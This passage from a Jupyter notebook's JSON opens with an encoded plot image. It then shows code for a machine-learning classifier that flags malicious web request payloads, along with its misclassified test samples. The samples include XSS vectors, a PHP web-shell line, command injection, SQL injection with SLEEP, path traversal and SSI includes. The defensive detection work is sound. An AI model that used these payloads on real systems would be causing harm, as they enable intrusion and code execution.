mfZ+v/z+QPC+8nIzDy0rryXgiu/fxeJd5rG4EhwcNn1In/63FYvvLQfz\n7/fr4m/ZWrODQ3NGc8aIU1i5yoez6GkA8s75nvSBFiGLtX8X4RKO8dHKBPAz4AzgNaXUkZiFXlpb\ngLkU9Oyui7+YjOZHOV2yBFQIIURc6GwsrAYagAattV8ptRfIBirZt+yzAnAB3R743tlZSpXHR1aC\nk9defoyCtF0ML0zl289fpbzhM757/rU4nfFZVTvgN78znjh1MMkpCdTVN0U5ItHawXzwnjPiZOaM\nODl4fegxwDH3t/vYg0l+Yz056Cq+WEj8o/nzY+H445mV7/yvA7OVUkswNxxcppS6CHO55zfAFcAi\nzG82AeZprV/v7AUDAfMNXxrBCyGEiBMdjoVa64VKqQXAYqWUB9gMPA8kAM8ppRY1X75La93t0p2r\nKuoAcJVsYPLwUpKSUgEYNSyNwsZS/vnaE5x/0U8P/ggjrKK0njdeXg6A3S6zQUII0V2WJYDNs3rX\ntLm5dRnrbmdxRvMiUZkBFEIIEQ+6Ggu11k8BT7W53wOcH46fn+lyMGjX2yRNzt3v9qQkFzRtwe12\nk5KSEo4fZbn1K/ewdMl2aqr2rYQdNiq3k2cIIYRoT1xNpQWal4C6pA2EEEII0SW/309+Vvv35WdB\nSUlxZAM6CNs2llNT1UhqeiLZuSmcd9lU8gp6zV5RIYSImLha/G+0LAGVGUAhhBCiSw6Hg7IqGyPb\nua+0CqYX9I94TD0VaP4W+MIrp5GQGFcfX4QQIqbE1VRaIFgEJq7CFkIIIaLCZrNhJI5orqK9T2Oj\nFxJHxM3yzwa3h+2bKwCwO2TfnxBCHIy4yqSCCaA0ghdCCCFC8t3zr2VdUQ4A9W4PXyyvYPnWfL57\n/rVRjix0K78pCl5u6W0ohBCiZ+JqDYW0gRBCCCG6x+l0MvOocdSWfkFKxjDmXHBR3Mz8tdi2sRyA\n404dLX3ghBDiIMVVAhgIVgGVb/+EEEKIUBmGD4D+w08mMc6SP8MwqCg1u2AMPUSqfkZKIBDgkUce\nZNOmjbhcLu68824GDy4M3r948ac8//wzOBwOvvOdMznzzHM6fE5R0U7uu+/X2Gw2RowYyS23/Ay7\n3c6///06b7zxTxwOB5deegXHHHNst2N8+OH7LY3xj3/8AytXLg9+afLgg3NJS0uL+Dls8dhjjzBk\nyFCuuuoygLCcQ6tiPPvs7wHEzDncuFHz6KMPY7fbSUhI4Je/vJecnNyDPofxKK4yqZbGry6ZARRC\nCCFCZgTMBNDujK/kD6C4qDp4OTUtMYqR9C2LFn2Mx+NhwYI/c801NzB//qPB+3w+H48/Ppe5c+cz\nf/5C/v3v16moKO/wOY8/PperrvoJTzzxDIZhsGjRJ5SXl/H3v7/Ck08+y9y581mwYD4ej6dbMX7w\nwQeWxgig9brga8yfvzDkxCXc57CyspJbb/0pixd/GnyNcJxDq2OMpXM4b94j3Hzz7cyfv5CZM4/n\nr399ISznMB7FVwIYrAIaV2ELIYQQUeWuWguAzR5XC38AcNebH8ZGjyuIciR9y8qVy5k+/SgAxo+f\nwPr164L3bdu2lUGDCsnIyMDlcjFx4iSWL/+2w+dovZ7DDpsCwJFHHs0333zFunVrmDBhEgkJCaSl\npTFoUCGbN2/sVoxLly61NMZAIEBR0U4eeug+fvKTy3nrrTeidg4bGtxcfvmPOeWU04OvEY5zaHWM\nsXQOf/3r+xk1SgFmi5yEhMSwnMN4FFcjQTABlCIwQgghREgMI4ARMJMohyszytF0n7959U//wfEX\nezyrr68nNXXfTI3dbsfn8+F0Ov+/vTuPk6us8z3+qerqJZ3uhIQs0ElIwIQfWwibL2QZiEhEQRFF\nFoFxCESILKJyZZTxCqPOXOSC4gIM4DC5DIzKvYQRFcWRmeCwRI0hJHHgh0GUMECIZO/upLur6v7x\nnG6Kpqu6qtPVVafr+369+tVd59Sp83ueU32e85xnObS3t7+lFae5eSzt7TvybpPNZvvGbuZ7b3Nz\nMzt27Cgpxh07dpQ1xp07OznzzLM599wLyGTSXHnlYg444CBmz55TVHzDmYdtbdNoa5vG8uVP5P38\noeRhuWMsVx72rislvkmTJgGwZs0zLF16P9/5zl38+tdP7XYexlGsKoDZdPitFkAREZH8frp+I1u6\netijIUXPrs19y+M0gUomk+WH/7KKP2/YDkAyGZ/YR4OxY8fS0dHR9zqbzZJKpXLWtfet6+gIF+L5\ntkkmk4O+t6Ojg9bW1pJibGlpKWuMjY1NnH32x2hqagLgyCOPYt2654uuvAxnHhbz+UPJw3LHWG15\n+OijP+eee+7mxhtvYcKECcOSh3EUq5pUWg+CFxERGdSaTeEO9tyJLXRufR6AxpaZlQypZOuefZ3X\nXt5KT3eGqW3jaNtHLYAjae7ceX0tOWvXrmG//Wb3rZs1a19efnk927Ztpbu7m1WrnuaQQw7Nu82c\nOcbKlSsAWL78SebNO5wDDzyY1aufZteuXezYsYM//elF9t33HSXFeMQRR5Q1xvXrX+KTn7yYdDpN\nT08Pq1c/w/77H1CRPBzIcORhuWOspjx85JGHeeCB+/n2t+9g2rTpwPDkYRzFqgWwtwJYrxZAERGR\ngvZoSPH+GZPZ8upaAJpa43VRsyZ69t+h75zOce/Jf4Ep5XHCCe/mN7/5FYsXX0Q2m+Xaa6/j5z//\nGZ2dHXzoQx/hiis+w2c/eyWZTIbTTjudyZOnDLgNwBVXfJobb/w77rjjVmbOnMX8+e+hrq6Oj370\nXC6//BNkMhkuueQyGhtLm+RnwYIFPProsrLGeMopp3LppQtJpVK8732nst9+xf8fDWceDmTPPSft\ndh6WO8ZZs/YtSx6mUhlOOunUouNLp9PccstNTJ26F9de+zkADj/8SC6++NLdzsM4SmSz2UrHUJRP\nPLwye9LmZ/n9ynFces2J6goyiMmTW9m4cXulw4gN5VfplGelUX6VZvLkVp3kS3Dv5RdnT7n+lr7X\nNz7zIgDXzNuXP//xX+nYvJopsz9OU+usCkVYuttvWAbAX11xDM0FZv+s9f+tWk6/0l6baYfaTv9w\nlI+xakrLZDLU1SVU+RMRESlSMllf6RBK1tOd7vu7qTl+8YuIVLNYVQDTGY3/ExERKUk08UtcngGY\nzWZZ/tgfAGgZ1/iWyTlERGT3xeqsmkmrAigiIlKSaKhHXGYA3bSxnTUr/huAQ46YVuFoRERGn1hV\nANPpjB4BISIi8jb5K3dZMtFf8Sg/u7tC98/xE8Yw90hVAEVEhls8SoNIJg31egi8iIhI8Xone4tJ\nC+C6Z18HYNbsPdXrR0SkDGJVAUxnsqQaYhWyiIhIRe3c/gIAiUQ8KlO/jyqAe03Xc/9ERMohVrWp\nbAZSagEUEREpWro7TJVeVz+uwpEMLt2TYWdHNwAzZ+9Z4WhEREanWFUAAY0BFBERKUEikYp+V38X\n0B3bd/X9XVen8l5EpBxidnZNaDyAiIhICbLZDA1jp1c6jKJ0d/UAMG3mHhWORERk9IpXBTALqVS8\nQhYREamUbDYNZEgk4lF2vvbf2wCYvFdrhSMRERm94lEiRLJZqFcLoIiISFG62sPz9Hq6tlU4kuKs\nfOpPADQ2pSociYjI6BWvCiB6ELyIiEh/+Ub39XRtAaBx7IyRC2Y3tG/vAuCgw9oqHImIyOgVqwog\n2YQmgRERESlSNhPG1DW17FPhSAa3Y9vOvr+bxtRXMBIRkdEtdrUpPQZCRESkOL0tgNlspsKRDO75\n320AYEqbxv+JiJRTrCqAWRLU60HwIiIiRUkkQ0taqqH6H6r+X6teBeCgeer+KSJSTrGqTWWzagEU\nEREpVlfHK8CbFcFqtn1r6AI656ApFY5ERGR0i1UFUGMARURECuvo6KCnp4dsNksyNRag73e1euLR\ndX1/a7I3EZHyitU8y5oFVEREZGA9PT3c9oP7eWnCNBomt5HZ2cHru1YztgGSyYZKh5dXNptl9W9e\nBuAvFsypcDQiIqNfrCqAZBN6ELyIiMgAbvvB/by8zyE0NI0BINnQyPZEK2PZTF3DuApHl9+WTZ19\nfx9y5LQKRiIiUhtiV5uqb1ALoIiISK4ssK4zTSqq/PVKJhN0pxN0du4ceMMq8NrLWwFom1H9E9WI\niIwG8aoAahIYERGRt8lms/TsMflty6ckNpEmyYYNr1UgquKsXhG6fx4wb+8KRyIiUhtiVQEMYwBj\nFbKIiEjZJRIJUlv//Lbl6WyCpro0U6fuVYGoBrezs5tNG9sBaGltrHA0IiK1IV5jANEkMCIiEh9m\nlgRuA+YBu4BF7r4uZ/35wNVAGrjb3W+Pln8BOB1oAG5z938stJ8EMLspycs7O9/SDTQBbOlsZJ/m\n5mFN13BJp8MD6veeMZ5pMydUOBoRkdoQq+a0LJoERkREYuUMoMndjwE+D9zcb/1NwMnAccDVZjbB\nzOYDx0bLTgRmFLOjy845m+kvrSXTtYtMTzc7nnmKZCLLlEnV+1y9bDb8VuufiMjIiVVtKptVC6CI\niMTK8cDPANx9OXBUv/WrgfFAE6HBLgucAqwBHgR+BPy4mB2lUik+df55TBjbzLiGev7+nA+GFdnM\n7qeiTLKZUANMJBIVjkREpHbEqgtoMpEgmVQhISIisTEO2JrzOm1mKXfviV6vBX4LtANL3X2LmU0C\nZgIfAPYFHjKzA9w9W2hHkye3AmGytFSqjmlt49i0DhoaGvrWVZv6unBTt2lM/W7FWK3pGym1nH6l\nvXbVevp3R6wqgHV1av0TEZFY2QbkXqUkeyt/ZnYocBqhkrcDuNfMzgLeAJ5z9y7AzWwnMBl4vdCO\nNm7cDrw5rm7DK+sByCbH962rNtu2hGcAdu3qGXKMkye3Vm36RkItp19pr820Q22nfzgqvrHqApqo\nU+ufiIjEyhPAqQBm9i5C185eW4FOoNPd04QK3gTgceB9ZpYwszZgLKFSWJJ0d7g4StZV7/i63z39\nSvhDxbuIyIhRC6CIiEj5PAgsMLMnCdWchWZ2HtDi7nea2R3A42bWBbwALHH3LjM7Afg14Ubt5VEF\nsSSZTBcADc3Thikpw6+3Atg2Y48KRyIiUjviVQFMqgIoIiLx4e4ZYHG/xc/lrP8H4B8G2O6aModW\nFZrHNrC1q5M5B1fvTKUiIqONuoCKiIiMStGcMVVadG7b0snWzZ20jm8imYzV5YiISKzF6oxbp2cA\nioiIFKdvztDqrAG+8NxGALLZgpObiojIMItVjapOdwhFRESKVN0Vq00b2wE44b37VzgSEZHaEqsa\nVTKlMYAiIiKlSFRpC+Afng8tgI1jYjUdgYhI7MWqAlhXF6twRUREKqi6WwB7usPzCqe2jatwJCIi\ntSVWNSrNAioiIlKiRHW2ADY01pFIQKJK4xMRGa3iVQFMqZAQEREpShVPrpLJZOnalaZ1fFOlQxER\nqTnxqgDqQfAiIiJFebP6V303T33NawDs2tlT4UhERGpPvCqAmgRGRESkSNXbAvjc6lcBOPiItgpH\nIiJSe2JVAUzqQfAiIiKxt3VzJwAHHrp3hSMREak9saoA1qU0VbSIiEhxelsAq+vm6bYtnXR2dAPQ\nMq6xwtGIiNSeWNWo9BgIERGRIlVh/W/DK9tYes9KIExOmkyqXBcRGWmxOvOmNAZQRESkSNU3BvDp\n5S/1/X3GBYdXMBIRkdoVmwrgBLbSUh+bcEVEREbcT9dvZEvXW2fWTFRRE2AmHR7+ft6lR7PXtPEV\njkZEpDaVrQuomSWB24B5wC5gkbuvy1n/QeBLQA9wt7vfVejzzkk9TEP9heUKV0REJPbWbNoBwNyJ\nLVRjC2AmE2Ia29pQ4UhERGpXOZvUzgCa3P0Y4PPAzb0rzKwe+AbwXuBE4BIzmzrYB9bVqwuoiIhI\nIXs0pHj/jMk5S6qnBbB38pdksnpiEhGpNeWsAB4P/AzA3ZcDR+WsOxBY5+6b3b0LeBw4YbAPrK+P\n1Zw1IiIiEunpSfPnDaGFMpFQBVBEpFIS2Wx5uoiY2XeBB9z9p9Hrl4D93L3HzI4HrnT3c6J1XwZe\ncvfvliUYERERERERKWsL4DagNXdf7t6TZ10rsKWMsYiIiIiIiNS8clYAnwBOBTCzdwFrctY9C8wx\ns4lm1kDo/vlUGWMRERERERGpeeXsAto7C+ihhBHoC4EjgBZ3vzNnFtAkYRbQW8sSiIiIiIiIiABl\nrACKiIiIiIhIddGT1UVERERERGqEKoAiIiIiIiI1ouoerJczdnAesAtY5O7rctb3jh3sIYwdvKsi\ngVaJIvLrY8CnCfm1BrjM3TOViLUaDJZfOe+7E9jk7p8f4RCrShHfr3cCXyeM830NuMDdd1Yi1mpQ\nRH6dD1wNpAnnr9srEmiVMbOjga+5+/x+y2v+fD+UMrHY81wcDPWawMxWEmYcB3jR3ReOaODDoJjj\naGbNwL8BF7v7c7V07KP3vCX90bJRf+wHuraLVsX+2A/1unY0HHcoKv1nAp8HssB97v7NofzfV2ML\n4BlAk7sfQ0jgzb0rzKwe+AbwXuBE4BIzm1qRKKtHofwaA3wVeLe7HweMBz5QkSirR9786mVmlwJz\nRzqwKlXo+5UA7gIWuvvxwM+AmRWJsnoM9v26CTgZOA642swmjHB8VcfMrgG+CzT1W67zfTCUMnHQ\n81yMlJx+M2sCEu4+P/qJ5YUggxxHMzsK+CXwjmK3iZmS018Lx77Atd1oOfYlp30UHXconP464AbC\ndcQxwGVmNqnQNvlUYwWw90ISd18OHJWz7kBgnbtvdvcu4HHCIyRqWaH82gUc6+4d0esUULOtM5FC\n+YWZHQscDdwx8qFVpUL5tT/wBvAZM3sMmOjuPvIhVpWC3y9gNaHAaiK0mmoWLngB+MgAy3W+D4ZS\nJg72PYyToaR/HtBsZj83s3+PHkUVR4Mdx0bgw8BzJWwTJ0NJfy0c+3zXdqPl2A8l7aPluEOB9Lt7\nGjjQ3bcCewJ1QFehbfKpxgrgOGBrzuu0maXyrNtOuJiqZXnzy90z7r4BwMyuBFoIXSVqWd78MrO9\ngeuAKyoRWJUq9P84CTgW+A7hbtR7zOykEY6v2hTKL4C1wG+B3wE/dvctIxlcNXL3B4DuAVbpfB8M\npUwc7HsYJ0NJfwehtf0UYDFwX0zTX/A4uvsT7r6+lG1iZijpH/XHvsC13Wg59kNJ+2g57jD4977H\nzD4CPAMsA9oH22Yg1VgB3Aa05rxOuntPnnWtQK1fQBXKL8wsaWY3AQuAM9291lscCuXXWYRKzcOE\nJvTzzOzCkQ2v6hTKrzcId9+fdfduwt2nuN5xHC5588vMDgVOA/YFZgFTzOysEY8wPnS+D4ZSJhYs\nF2JmKOl/HrjX3bPu/jzhXLX3SAQ7zIZyHGvl2OdTE8c+z7XdaDn2Q0n7aDnuUMRxdPelwDSgAfh4\nMdv0V40VwCeAUwGiJtw1OeueBeaY2UQzayB09Xhq5EOsKoXyC0JXxibgjJwm81qWN7/c/VvufmQ0\nEcUNwL+4+5JKBFlFCn2//gC0mNns6PVfEFq2almh/NoKdAKdUTeO14GaHwNYgM73wVDKxMHKhTgZ\nSvovIhoDY2ZthLvjr45k0MNkKMexVo59PrVy7Ae6thstx34oaR8txx0KpN/MxpnZY2bW6GFCx3Yg\nU2ibfKruQfA5M9kcShgjsxA4Amhx9ztzZvxKEmb8urViwVaBQvkFrIh+/pM3xxp9090frECoVWGw\n71fO+y4EDnDNAjrY/+NJhMpyAnjS3a+qWLBVoIj8WkwoqLoIY98+EY1dqmlmNgv4vru/y8zOQ+f7\nPkMpEwfaxqMZEuNmiOlvAJYA+xDKvr929ycrEf/uKKG8WgYs9rfOAjrqj33O+5bxZvpH/bEnz7Ud\n8MP+28Tx2A8x7T9hFBx3KOqcdwlwMWHoxGrgSkKaSzr2VVcBFBERERERkfKoxi6gIiIiIiIiUgaq\nAIqIiIiIiNQIVQBFRERERERqhCqAIiIiIiIiNUIVQBERERERkRpR8CnxIqWIpnJ/Hvivfqs+6O7r\n82xzPYC7X78b+70Q+DrwUrRoDPAYcFmpD0E1sy8DK9z9ITP7D3d/d7R8lbsfNtQYo89YBkwHdkSL\nxhGepXe+u28osN0lwHZ3/14J+5oOfMXdF+Ys+zKQKTWvoweY3wLsSThnPAVc5e7tpXzOIPt4GFgE\nbAAeJuTTPxEexbEozzZHEab+XjRYHplZC3APcFb0DD4RkRGlMnLQz16Gysh8+1AZKcNKFUAZbq/s\nbiEwRA+5+4UAZlYHLAMuJzwfpmju/qWcl/Nzlg9Xmha5+zLoe9bL/wM+C/x1gW2OJaSnFLcAX4z2\nM55Q+H8MuLHEzwH4AXCRuz8VxXwr8BVC3MPC3XsfYLoPMNfd24rYZgWhQIRB8sjdd5jZL4BLCc/K\nERGpBJWRhamMHIDKSBluqgDKiDCzQ4BvEx7kOQW42d2/lbO+HrgbOCRadJu732VmU4E7gBlABviC\nu/+i0L7cPW1mTwL7R5+9ELia8KDM3wJXALvy7G8J4SR5RLTtr9z9aDPLAvWEO6iHu/sGM5sIrAVm\nAu8Bvhy950XCA77fGCRbxgKTgF9F+zorinNM9LMIaABOB04ys1eBVYPlh5nNBtpyHgL6IeD3wM2D\nxJPPXkAzgLtnzOxvgVnRvpZEccwFxhPuqP5zdDfxVkL+1gFfc/fvmVlTtPx4wkNMv+LuPzCzPxIu\nJh4CJpnZCuB/ANe7+3wzOyxKdzOwCTgfmA1cD3w1J482A/8I7Ofu26I77j9x94OB7wPLzex2d9cD\nUEWkaqiMHJDKSJWRUiYaAyjDrc3MVuX8fC5avgj4qru/E3g38Hf9tjsWmOjuhwMnA8dFy78J3O3u\nRxJOYHeYWWuhAMxsT+D9wBNmNhf4G+BEd58LtAPXFdgfAO7+qej30TnLeoD/C5wVLToT+FdgD+AG\n4JTo8x4BvpYnvO+a2TNRQbUc+DfgG9Fdw8XAB9x9XvR5n4sKroeAL7n7I0XmxweAx3PivsfdbwCG\n2q3jM8BDZvZ7M7sTONLdl+esn07Iz5OAm8xsL8Kd1d9GcZ4A/I2Z7QdcSbjAOZCQ718ys4aczzqd\ncIf8qH4x3EcoCOcSCqmrctKXm0c/BH4CfDRa/XFCtxbcfROha9GhQ8wHEZHdpTJSZaTKSKk4tQDK\ncMvXveVq4H1m9gXCyaWl3/q1gJnZI4T+7b3dPU4GDoj65kO4e/gOwl2+XKeb2SogQbixsRT4HqGL\ny49y7jTeSeg3f0Oe/Q3mnwldR75D6C7yReBoYB/gP8wMwt28TXm2X+Tuy8zsWOAB4GF37yIE82Hg\ngxY+ZD4DF0bF5MccwItMz6DcfYmZPRDt+2RgiZnd5+6fjt7yT+7eDbxsZk8Q7lyeDDSb2UXRe8YC\nBwMnAne6ewZ4LVpGlG8DMrNJwN7u/uMontuj5fPzbHI34a7n3cB5hEK3158I+fNMsekXERlGKiNV\nRqqMlIpTBVBGyv3AZuBHhLtT5+audPc3zOxgYAFwKrAyel0HnBTdmcLM2giDoPvrG9+QK7prmCsB\npArsryB3X2FmE83sncB0d3/SzD4EPO7up0f7bAIK3oGNtvsWcI+ZzQOagN8QCs9fAqsJ3XD6KyY/\nMkDRA/ujz3g4evlK71iDaN0c4Fx3/wrwIPCgmd1CKEx7C7fcfSWj13XABe6+MvqcqYQC/6Kc9/Z2\nxXmJwrr7bdMEFBr/8Etgmpl9BHjR3V/p91mZQfYnIjLSVEa+9XNURqIyUspHXUBlpCzgze4HJ0Lf\nQHSiv08H7iV0TfgUoRvCDODfgcui9xxEOOk3l7DfZYQ7nxOj158g3IXMt79caTMb6CbJfYS+9t+P\nXv8KOMbM9o9e/0/gfxcR29cJd/0WE8ZiZIC/J6T5/YQCAkJh0RtHMfnxAmHMRVHc/RV3Pyz6ObXf\n6o3AVWaWe4fwYODpnNdnm1nCzGYS7vT+ZxTnJ6M4947i3IdQ8PS+fwphJrrGQeLbCqw3swXRor8k\njCXJ1ZdH0diF/wN8C1jS7337AusK7U9EpAJURr6dykiVkVImqgDKSLkeeNzMVpD5RSgAAAGFSURB\nVAKnAH8knGh6/RToBH4H/BpY6u5rCP3h32Vmqwkzbf2lu28vdqfuvhr4X8BjZvYcYSzCFwvsL9cP\ngWeiu2m57gUOi37j7q8R7trdb2ZrCIPjry4itl2EsRfXEQqkVcBzwEpCYdtbQP0CuNbMPkpx+fFj\ncmZn2x3uvgU4DbjOzP4Q5eFCQteeXs3ACsKFwiVRV6K/BcaY2VpCQXeNu79AmF2sndC95BfAlUUe\nzwuiGFYB5wCf67c+N48g5E0zYfwJAGa2BzA++k6IiFST61EZ2T82lZEqI6VMEtmsJvoRGW3MbCnh\nbvLaMu9nCbDM3ZeUcz+lsDcnCzigd6KCaPlVQI+731qx4EREpOJURqqMrHUaAygyOn2G0AXkryod\nSAUsJXSlOaV3gYUpt08GPlypoEREpGqojFQZWdPUAigiIiIiIlIjNAZQRERERESkRqgCKCIiIiIi\nUiNUARQREREREakRqgCKiIiIiIjUCFUARUREREREaoQqgCIiIiIiIjXi/wNhZeC4Y5mYjwAAAABJ\nRU5ErkJggg==\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7ff18c27d278>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "indices = [0,1,2, len(classifier_results)-1,len(classifier_results)-2,len(classifier_results)-3]\n",
    "visualize_result([classifier_results.iloc[index] for index in indices])"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Step6 - Website integration extract\n",
    "This is the code needed when implementing the saved classifier in tfidf_2grams_randomforest.p on a server"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "import pickle\n",
    "from sklearn.feature_extraction.text import TfidfVectorizer\n",
    "from sklearn.ensemble import RandomForestClassifier\n",
    "\n",
    "def get2Grams(payload_obj):\n",
    "    '''Divides a string into 2-grams\n",
    "    \n",
    "    Example: input - payload: \"<script>\"\n",
    "             output- [\"<s\",\"sc\",\"cr\",\"ri\",\"ip\",\"pt\",\"t>\"]\n",
    "    '''\n",
    "    payload = str(payload_obj)\n",
    "    ngrams = []\n",
    "    for i in range(0,len(payload)-2):\n",
    "        ngrams.append(payload[i:i+2])\n",
    "    return ngrams\n",
    "\n",
    "classifier = pickle.load( open(\"data/tfidf_2grams_randomforest.p\", \"rb\"))\n",
    "\n",
    "def injection_test(inputs):\n",
    "    variables = inputs.split('&')\n",
    "    values = [ variable.split('=')[1] for variable in variables]\n",
    "    print(values)\n",
    "    return 'MALICIOUS' if classifier.predict(values).sum() > 0 else 'NOT_MALICIOUS'\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 24,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "['%3Cscript%3Ekiddie']\n"
     ]
    },
    {
     "data": {
      "text/plain": [
       "'MALICIOUS'"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "#test injection_test\n",
    "display(injection_test(\"val1=%3Cscript%3Ekiddie\"))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# (Step7)\n",
    "we can display which types of queries the classifiers failed to classify. These are interesting to examine for further work on how to improve the classifiers and the quality of the data set"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 38,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "index\n",
       "28660    dojo.io.script.jsonp_dojoIoScript60693._jsonpC...\n",
       "17914                                      127.0.0.1 | id|\n",
       "Name: payload, dtype: object"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "pipe = Pipeline([('vect', vectorizer), ('clf',LogisticRegression(C=10))])\n",
    "X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2, random_state=42)\n",
    "\n",
    "cv = ShuffleSplit(n=len(X_train), n_iter=1, test_size=0.2, random_state=0) #DEBUG: n_iter=10\n",
    "\n",
    "random_grid_search = RandomizedSearchCV(\n",
    "    pipe, \n",
    "    param_distributions={\n",
    "        'clf__C':[10]\n",
    "    },\n",
    "    cv=cv, \n",
    "    scoring='roc_auc', \n",
    "    n_iter=1, \n",
    "    random_state=5,\n",
    "    refit=True\n",
    ")\n",
    "random_grid_search.fit(X_train, Y_train)\n",
    "\n",
    "#Evaluate the best model on the test data\n",
    "Y_test_predicted = random_grid_search.best_estimator_.predict(X_test)\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 45,
   "metadata": {
    "scrolled": false
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "False positives\n",
      "index\n",
      "28660    dojo.io.script.jsonp_dojoIoScript60693._jsonpCallback\n",
      "17914                                          127.0.0.1 | id|\n",
      "Name: payload, dtype: object\n",
      "False negatives\n",
      "index\n",
      "8224                                                                                                                                                    '<'s'v'g' o'n'l'o'a'd'='a'l'e'r't'('7')' '>'\n",
      "250                                                                                                                                                                b'<? popen($_REQUEST[\"c4\"]); ?> '\n",
      "9145                                                                                                                                                                       > XSS | Replacive Fuzzers\n",
      "10000                                                                                                                                                                                           ;id;\n",
      "9817                                                                                                                                                                                     &i=WmYmMm28\n",
      "27166                                                                                                                                                   'create user name identified by 'pass123' --\n",
      "24783                                                                                                                                                         <!--#config timefmt=\"A %B %d %Y %r\"-->\n",
      "22368                                                                                                                                                                                 b'123+1+5-5-1'\n",
      "22836                                                                                            b'<x repeat=\"template\" repeat-start=\"999999\">0<y repeat=\"template\" repeat-start=\"999999\">1</y></x>'\n",
      "4745                                                                                                                                                                                        Data URl\n",
      "6120                                                                                                                                                                  '><object/data=//goo.gl/nlX0P>\n",
      "10145                                                                                                                                                                                   'aaa'<>'bbb'\n",
      "14920                                                                                                                                                                                            %3C\n",
      "29705                                                                                                                                                                                    <plaintext>\n",
      "2951                                                                                                               http://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/attack/xss/test.xxe\n",
      "6405                                                                                                                                                                         %2e%2e%2f%2e%2e%2ffile'\n",
      "7653       %3Cs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%20s%26%23114%3B%26%2399%3B%3Dht%26%23116%3Bp%3A%2F%2Fx%26%23116%3Bxs%26%2399%3B.cx%2Fxss%2Ejs%3E%3C%2Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%3E\n",
      "7031                                                                                                                                                               /%2e%2e%5c%2e%2e%5c%2e%2e%5cfile'\n",
      "1050                                                                                                                                                                                           &p=37\n",
      "11332                                                                                                                                 Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser\n",
      "19084                                                                                                                                                                        ' if(2=2,1,SLEEP(5))--+\n",
      "3452                                                                                                                                                                                        admin\"/*\n",
      "1175                                                                                                                                                                                           <%%%>\n",
      "14686                                                                                                                                                                         b'123K29yKycxJz0nMQ=='\n",
      "9793                                                                                                                                                                                    <x o%6Exxx=1\n",
      "14118    &action=install&name=Offline%20Mail&message=Hi,%20Reddit&icon_src=http%3A%2F%2Fmail.google.com%2Fmail%2Fimages%2F2%2Fmail_icon_48.png&return=https%3A%2F%2Fmail.google.com%2Fmail%2F%23lsci\n",
      "25462                                                                                                                                                           <!--#include file=?UUUUUUUU...UU?-->\n",
      "21118                                                                                                                                            < s c r i p t > p r o m p t ( 1 ) < / s c r i p t >\n",
      "8820                                                                                                                                                                                  1'OR'121'='121\n",
      "12363                                                                                                                                                                       & ping -i 30 127.0.0.1 &\n",
      "6242                                                                                                                                                                String.fromCharCode(0xffff+0x3d)\n",
      "7840                                                                                                                                                                                          admin'\n",
      "16861                                                                                                                                                                                    \"onblur<='`\n",
      "25533                                                                                                                                                                                    b'exec(@s)'\n",
      "24424                                                                                                                                                                                         %2A%7C\n",
      "7475                                                                                                                                    eval((_=!0+(()=>0)+!1)[10]+_[11]+_[3]+_[1]+_[0]+_[4]+1+_[5])\n",
      "Name: payload, dtype: object\n"
     ]
    }
   ],
   "source": [
    "#Payloads classified incorrectly\n",
    "pd.options.display.max_colwidth = 200\n",
    "print('False positives')\n",
    "print(X_test[(Y_test == 0) & (Y_test_predicted == 1)])\n",
    "print('False negatives')\n",
    "print(X_test[(Y_test == 1) & (Y_test_predicted == 0)])"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.5.3"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}
